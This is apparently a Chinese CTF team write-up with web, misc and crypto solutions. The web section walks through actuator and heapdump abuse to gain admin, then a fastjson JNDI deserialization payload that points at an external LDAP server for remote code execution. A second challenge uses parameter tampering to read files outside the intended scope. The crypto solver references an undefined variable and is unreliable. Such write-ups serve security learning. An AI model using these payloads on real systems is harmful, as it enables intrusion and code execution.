部分内容来自队友

web

日记本

利用dirsearch工具扫描发现一个登录路由和actuator泄露,还有swagger-ui.html

但是正常的注册/api/auth/v1/register无法成功,通过查看/actuator/mappings找到了/api/auth/v2/register这样的注册路由。

这样就可以注册了。登录进去后,api路由还有一个/api/auth/update,这里可以更新账户信息。我们利用actuator/heapdump工具拿到了key:

然后通过这个路由修改刚刚注册的账号为admin了

然后就可以查看admin的api,发现hint里是源码:

反编译源码后,查看依赖:

发现有fastjson1.2.26和CC3.2.1的依赖,可以通过jndi打ldap触发反序列化再打CC链。

在/api/admin/diaries路由可以触发fastjson反序列化。

执行一下/readflag就可以了

利用java-chians工具:

由于fastjson版本是1.2.26,又存在myBatis依赖

所以payload:

JSON
 {   "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",   "properties":{     "data_source":"ldap://114.132.61.17:50389/fb0a2a"   } }

简单的仓库

注册用户1234:1234

登录后分析源码可以发现有文件展示功能以及重置和开通vip的功能,挨个抓包测试。

构造报文,进行测试,可以发现显示我们登录后对应账号的文件。

由此可以得到admin有哪些文件。

接着测试充值api可以发现带了权限字段,修改为admin即可充值成功。

利用充值后的余额开通vip,获得文件下载的功能。

根据url中的文件名和user参数下载文件,我们可以读取admin的readme文件。

发现flag路径,我们可以去/api/files验证一下。

是可以当做用户处理的。

访问/download/flag.txt?user=/var/tmp即可。

Misc

异常行为溯源

取log,在tcp层

Python
 # from json import load from pyshark import FileCapture from base64 import b64decode from json import loads  for packet in FileCapture(input_file="network_traffic.pcap", keep_packets=False):      tcp = packet.tcp     data = bytes.fromhex(tcp.payload.replace(":", "")).decode()     data = b64decode(data).decode()     data = loads(data)     msg = data["msg"]     type = data["type"]     msg = b64decode(msg).decode().strip()     print(msg)

直接统计ip频次就行了。

Python
 import re from datetime import datetime logs = open("log.log").readlines()  log_match = re.compile(r'(\d+\.\d+\.\d+\.\d+) ?- - \[(.*) \+\d+\] "(\w+) ([\w\/.-]+) HTTP\/1\.1" \d+ \d+ "-" ".*"') ip_maps = {} for log in logs:     m = log_match.match(log)     ip = m.group(1)     time = m.group(2)     time = datetime.strptime(time, "%d/%b/%Y:%H:%M:%S")     method = m.group(3)     url = m.group(4)     # print(time_match.match(time).group())     ip_maps[ip] = ip_maps.get(ip, 0) + 1  # print() ip_maps = sorted(ip_maps.items(), key=lambda x: x[1], reverse=True) for ip, count in ip_maps:     print(ip, count)     break

数据校验

Python
 from hashlib import md5 from ecdsa import VerifyingKey, BadSignatureError from base64 import b64decode data = open("data.csv").readlines()[1:] data = [i.strip().split(",") for i in data] data = [{     "Serial_Number": i[0],     "UserName": i[1],     "UserName_Check": i[2], # md5 hash for username     "Password": i[3],     "Password_Check": i[4], # md5 hash for password     "IP": i[5],     "Signature": i[6], # ecdsa sign for username. } for i in data] whitelist = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" lst = [] for d in data:     if d["UserName"][:5] != "User-":         print(d["Serial_Number"], "UserName format Error")         lst.append(d["Serial_Number"])         continue     if md5(d["UserName"].encode()).hexdigest() != d["UserName_Check"]:         print(d["Serial_Number"], "UserName hash Error")         lst.append(d["Serial_Number"])         continue     r = 0     for i in d["Password"]:         if i not in whitelist:             print(d["Serial_Number"], "Password format Error")             r = 1             break     if r == 1:         lst.append(d["Serial_Number"])         continue     t = d["IP"].split(".")     if len(t) != 4:         print(d["Serial_Number"], "IP format Error")         lst.append(d["Serial_Number"])         continue     r = 0     for i in t:         if not i.isdigit() or int(i) > 255:             print(d["Serial_Number"], "IP format Error")             r = 1             break     if r == 1:         lst.append(d["Serial_Number"])         continue     if md5(d["Password"].encode()).hexdigest() != d["Password_Check"]:         print(d["Serial_Number"], "Password hash Error")         lst.append(d["Serial_Number"])         continue     try:         vk = VerifyingKey.from_pem(open(f"ecdsa-key/{d['Serial_Number']}.pem").read())         vk.verify(b64decode(d["Signature"]), d["UserName"].encode())     except BadSignatureError:         print(d["Serial_Number"], "Username Signature Error")         lst.append(d["Serial_Number"])  lst = list(set(lst)) lst = sorted(lst) t = "_".join(lst) print(t) print("flag{" + md5(t.encode()).hexdigest() + "}")

Strange_Database

数据库内容

Python
 from sqlite3 import connect from os import listdir from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from base64 import b64decode keys = listdir("key")  keys = {int(key.split(".")[0].split("-")[1]):key for key in keys} # print(keys) for db_file in listdir("database"):     ids = db_file.split(".")[0].replace("database-", "")     key_file = f"key/{keys[int(ids)]}"     password = key_file.split(".")[0].split("-")[2]     # print(password)     key = RSA.importKey(open(key_file).read(), passphrase=password)     cipher = PKCS1_OAEP.new(key)     db = connect(f"database/{db_file}")     cursor = db.cursor()     cursor.execute("SELECT * FROM sqlite_master WHERE type='table';")     tables = cursor.fetchall()     for table in tables:         cursor.execute(f"SELECT * FROM {table[1]};")         rows = cursor.fetchall()         for row in rows:             # print(,row[2])             # print()             type = cipher.decrypt(b64decode(row[0])).decode()             number = row[1]             name = cipher.decrypt(b64decode(row[2])).decode()             password = cipher.decrypt(b64decode(row[3])).decode()             remark = cipher.decrypt(b64decode(row[4])).decode()             print(type, number, name, password, remark)     db.close()

database里有enc和key字段的东西,应该就是flag相关了。

Python
 lines = open("log.log").readlines()  data = [line.split() for line in lines] d_map = {} for i in data:     d_map[i[0]] = d_map.get(i[0],0) + 1  print(d_map)
Python
 lines = open("log.log").readlines() data = [line.split() for line in lines] enc = [] key = [] for i in data:     if i[0] == "Enc":         print(i)         enc.append(i[-1])     if i[0] == "Key":         print(i)         key.append(i[-1])

最后是rc4。

Crypto

qaq

很多参数已知

由于 Weil 配对 T 的值在某个小阶子群中,对 T 进行适当的指数运算后可以“消去”这个随机因素。

weil配对,参考文章:什么是weil配对 - 玩剑的Fiora - 博客园

构造一个新的数组有

Python
 out=(output^qwq) mod p =(weil_pairing(P1,P2,qwq)^3*c)^(qaq*qwq)=c^(qaq*qwq) mod p

这里隐含Weil 配对 中的weil_pairing(P1,P2,qwq) 被指数运算后归一化为 1,从而使得加密操作对 c 仅留下一个可逆的指数变换。

只需要对原文2个字节(也就是16个二进制)的数字位进行爆破2^16位即可解密

Python
from Crypto.Util.number import long_to_bytesfrom tqdm import tqdmfrom sage.all import GF, EllipticCurveres = [4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272555731,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556223,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556437,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556749,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557237,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557459,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557687,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272558239,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272558627,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559239,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559523,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559787,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560169,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560343,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560433,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560751,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560969,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272561441,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272562103,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272562601,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563261,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563297,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563391,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563511,       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563711]p = res[11]output = [2258729984869869545899085887518820011795880892632317458813070773270633871398785757696896679887453336507722151037267,          1843407310728065127389586068976768146728145160643439144895915852634291722663455873979176336542780552480617232750208,          1107061034832953338095294459542523703297843192927313275050958753437078121375795698115353665062727895555487155331316,          460337686287218470707660572908024613140030922587867288532588857547792028112129697850035268228038619747643899804437,          1659483062154723617504533638726171721668768657049197025961515070605996080663312140357834824850074607457421362000265,          3150528329201636320206556304125544975332446992414777732425647667048147102509308959254762895094589762017857965981432,          3338854035461286314545186888372727000962778038359519702308782495912356677650264814573463929190025956045491115654437,          3042574495339632074308497406446851120362994432361876743901608172567070991832258762751304397604780567703759317642849,          380771388315580393673388198522357440257018642337119013880143084485482127962577943753495690258532782147018511750175,          507222017133457507399048159541059729302482262298099528096040456818913085187752925782279385808732260473494863290057,          533663958640518878580794848474449572155795564171089765377581587253792204491009275840408579120376539757958097910250,          2681145160205204287930367627648683111546318004811732016137828270063753300095675791698398080219566725174890793619305,          3259478178021541801713314504097142165241891541242669456591074651894459393333167453811425864198267757724232689747676,          3553147298452254907907643059383506744982654808021508866104139240155822133286673657139615950259800036058045049186173,          1778776925369812510137824472396145391840300438509021838870105004154301861222612045533034046889878767915343446874895,          3409071358092535255033136229525415652816479844958949032220987821989305575696869929136493897719813036034016228268240,          571819148781137687997336847709735468532344087614483867682513640750800758034003212746545051127998686475933050072942,          2676666310158795770609746651024766841212271213339384335651155407291004834251914242990757216402110096603729617413168,          2557670339976470006330058052583841683167706755578266425502679937976714609864257535859316483527764340425703004883241,          973319024062640263364951783086923560907216776835485042157036675663719529568519121997200478026304141184810597275543,          1189768012357955450386827626693191057999220508190415783719135619271537446794904663649700073564180453068646130539863,          790522915783756530835443034667719516913120763875831140857606265058871034793645280121113275798239222760522467771184]qwq = 0x320238bK = GF(p)E = EllipticCurve(K, (0, 4))qaq = E.order() // (qwq ** 2)out = [pow(i, qwq, p) for i in output]flag_chars = []for encrypted_value in tqdm(output1, desc="Decrypting blocks"):    for i in range(1, 65536):        decrypted_value = pow(i, qwq * qaq, p)        if decrypted_value == encrypted_value:            decoded_char = long_to_bytes(i).decode()            flag_chars.append(decoded_char)            breakflag = "".join(flag_chars)print(flag)